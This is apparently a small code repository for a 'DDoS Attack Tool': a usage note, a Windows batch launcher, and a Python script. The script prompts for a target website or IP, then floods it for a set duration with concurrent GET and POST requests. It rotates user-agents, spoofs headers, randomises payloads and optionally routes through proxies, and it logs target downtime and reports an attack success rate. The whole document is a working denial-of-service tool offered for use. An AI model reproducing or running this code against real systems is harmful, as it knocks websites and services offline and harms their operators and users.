└── DDOSTool ├── (HOW TO USE).txt ├── open.bat └── DDostool.py /DDOSTool/(HOW TO USE).txt: -------------------------------------------------------------------------------- 1 | pip install requests fake_useragent termcolor 2 | python DDostool.py 3 | -------------------------------------------------------------------------------- /DDOSTool/open.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | setlocal 3 | 4 | REM Check if Python is installed 5 | python --version >nul 2>&1 6 | IF %ERRORLEVEL% NEQ 0 ( 7 | echo Python is not installed. Please install Python and try again. 8 | pause 9 | exit /b 1 10 | ) 11 | 12 | REM Upgrade pip to ensure the latest version is used 13 | python -m pip install --upgrade pip 14 | 15 | REM Install required Python packages 16 | python -m pip install requests fake_useragent termcolor tqdm 17 | 18 | REM Check if the installation was successful 19 | IF %ERRORLEVEL% NEQ 0 ( 20 | echo Failed to install required packages. Please check your network connection and try again. 21 | pause 22 | exit /b 1 23 | ) 24 | 25 | REM Execute the Python script 26 | python DDostool.py 27 | 28 | REM Check if the script executed successfully 29 | IF %ERRORLEVEL% NEQ 0 ( 30 | echo The script encountered an error. Please check the script and try again. 31 | pause 32 | exit /b 1 33 | ) 34 | 35 | pause 36 | -------------------------------------------------------------------------------- /DDOSTool/DDostool.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from concurrent.futures import ThreadPoolExecutor, as_completed 3 | from urllib.parse import urlparse 4 | from typing import List, Dict, Optional 5 | from fake_useragent import UserAgent 6 | import time 7 | import ctypes 8 | import logging 9 | import random 10 | import string 11 | 12 | # Set up logging configuration 13 | log_file = "ddos_attack.log" 14 | logging.basicConfig(filename=log_file, level=logging.INFO, 15 | format='%(asctime)s [%(levelname)s]: %(message)s', datefmt='%Y-%m-%d %H:%M:%S') 16 | 17 | def set_console_title(title: str): 18 | ctypes.windll.kernel32.SetConsoleTitleW(title) 19 | 20 | def print_intro(): 21 | logo = """ 22 | ____ ____ __ __ 23 | / __ \/ __ \____ _____/ /_____ ____ / / 24 | / / / / / / / __ \/ ___/ __/ __ \/ __ \/ / 25 | / /_/ / /_/ / /_/ (__ ) /_/ /_/ / /_/ / / 26 | /_____/_____/\____/____/\__/\____/\____/_/ 27 | github.com/wiced1 28 | """ 29 | print(logo) 30 | 31 | def generate_random_string(length: int) -> str: 32 | characters = string.ascii_letters + string.digits 33 | return ''.join(random.choice(characters) for _ in range(length)) 34 | 35 | def send_request(session: requests.Session, url: str, proxies: Optional[Dict[str, str]] = None) -> bool: 36 | try: 37 | response = session.get(url, timeout=5, proxies=proxies) 38 | return response.status_code == 200 39 | except requests.exceptions.RequestException: 40 | return False 41 | 42 | def analyze_responses(responses: List[requests.Response]): 43 | status_codes = [response.status_code for response in responses] 44 | unique_status_codes = set(status_codes) 45 | status_code_counts = {code: status_codes.count(code) for code in unique_status_codes} 46 | 47 | print("--- Response Analysis ---") 48 | for code, count in status_code_counts.items(): 49 | print(f"Status Code {code}: {count} occurrence(s)") 50 | 51 | def convert_to_seconds(hours: int, minutes: int, seconds: int) -> int: 52 | return hours * 3600 + minutes * 60 + seconds 53 | 54 | def send_requests_with_duration(url: str, num_requests: int, duration_hours: int, duration_minutes: int, duration_seconds: int, proxies: Optional[Dict[str, str]] = None, max_concurrency: int = 100) -> List[bool]: 55 | domain = urlparse(url).hostname 56 | results = [] 57 | responses = [] 58 | ua = UserAgent() 59 | 60 | with requests.Session() as session: 61 | downtime_start = None 62 | downtime_end = None 63 | duration_seconds_total = convert_to_seconds(duration_hours, duration_minutes, duration_seconds) 64 | start_time = time.time() 65 | 66 | while time.time() - start_time < duration_seconds_total: 67 | with ThreadPoolExecutor(max_workers=min(num_requests, max_concurrency)) as executor: 68 | futures = [executor.submit(send_request, session, url, proxies=proxies) for _ in range(num_requests)] 69 | 70 | for future in as_completed(futures): 71 | result = future.result() 72 | response = session.get(url, proxies=proxies) 73 | results.append(result) 74 | responses.append(response) 75 | 76 | if not result: 77 | if downtime_start is None: 78 | downtime_start = time.time() 79 | else: 80 | if downtime_start is not None: 81 | downtime_end = time.time() 82 | downtime_duration = downtime_end - downtime_start 83 | 84 | # Log downtime information 85 | log_data = { 86 | "identifier": generate_random_string(8), 87 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), 88 | "url": url, 89 | "status": "offline", 90 | "downtime_duration": downtime_duration 91 | } 92 | logging.warning(f"{log_data}") 93 | 94 | downtime_start = None 95 | 96 | # Rotate user-agent and proxy for the next request 97 | session.headers['User-Agent'] = ua.random 98 | if proxies: 99 | proxies = { 100 | 'http': f'http://{generate_random_string(16)}.com', 101 | 'https': f'https://{generate_random_string(16)}.com' 102 | } 103 | session.proxies = proxies 104 | 105 | # Spoof various headers 106 | session.headers['Accept-Language'] = generate_random_string(5) 107 | 108 | # Introduce variability in request payload 109 | payload = generate_random_string(10) 110 | session.post(url, data={'payload': payload}, proxies=proxies) 111 | 112 | # Manage sessions, handle cookies, and maintain session persistence 113 | session.cookies.update(response.cookies) 114 | 115 | # Simulate intelligent rate limiting 116 | time.sleep(random.uniform(0.5, 2.0)) 117 | 118 | for i, result in enumerate(results): 119 | status_msg = "Website is down" if not result else "" 120 | print(f"Request {i + 1} sent with result: {result} ({status_msg})") 121 | 122 | analyze_responses(responses) 123 | return results 124 | 125 | def main(): 126 | set_console_title("DDoS Attack Tool") 127 | print_intro() 128 | 129 | target_type = input("Do you want to target a website or an IP address? (website/ip): ") 130 | 131 | if target_type.lower() == "website": 132 | url = input("Enter the target URL to attack: ") 133 | elif target_type.lower() == "ip": 134 | ip = input("Enter the target IP address to attack: ") 135 | url = f"http://{ip}" 136 | else: 137 | print("Invalid target type. Please run the program again.") 138 | return 139 | 140 | try: 141 | num_requests = int(input("Enter the number of requests to send: ")) 142 | duration_hours = int(input("Enter the duration in hours: ")) 143 | duration_minutes = int(input("Enter the duration in minutes: ")) 144 | duration_seconds = int(input("Enter the duration in seconds: ")) 145 | except ValueError: 146 | print("Invalid input. Please enter integer values for the number of requests and duration.") 147 | return 148 | 149 | use_proxy = input("Do you want to use proxies? (y/n): ") 150 | 151 | if use_proxy.lower() == "y": 152 | proxy_type = input("Enter the proxy type (http/https): ") 153 | proxy_host = input("Enter the proxy host: ") 154 | proxy_port = input("Enter the proxy port: ") 155 | proxies = {proxy_type: f"{proxy_type}://{proxy_host}:{proxy_port}"} 156 | else: 157 | proxies = None 158 | 159 | print("\n--- Initiating Attack ---") 160 | results = send_requests_with_duration(url, num_requests, duration_hours, duration_minutes, duration_seconds, proxies=proxies, max_concurrency=100) 161 | successes = results.count(True) 162 | success_rate = successes / num_requests 163 | 164 | print("\n--- Attack Complete ---") 165 | print(f"Attack Success Rate: {success_rate:.2%}") 166 | 167 | if __name__ == "__main__": 168 | main() 169 | --------------------------------------------------------------------------------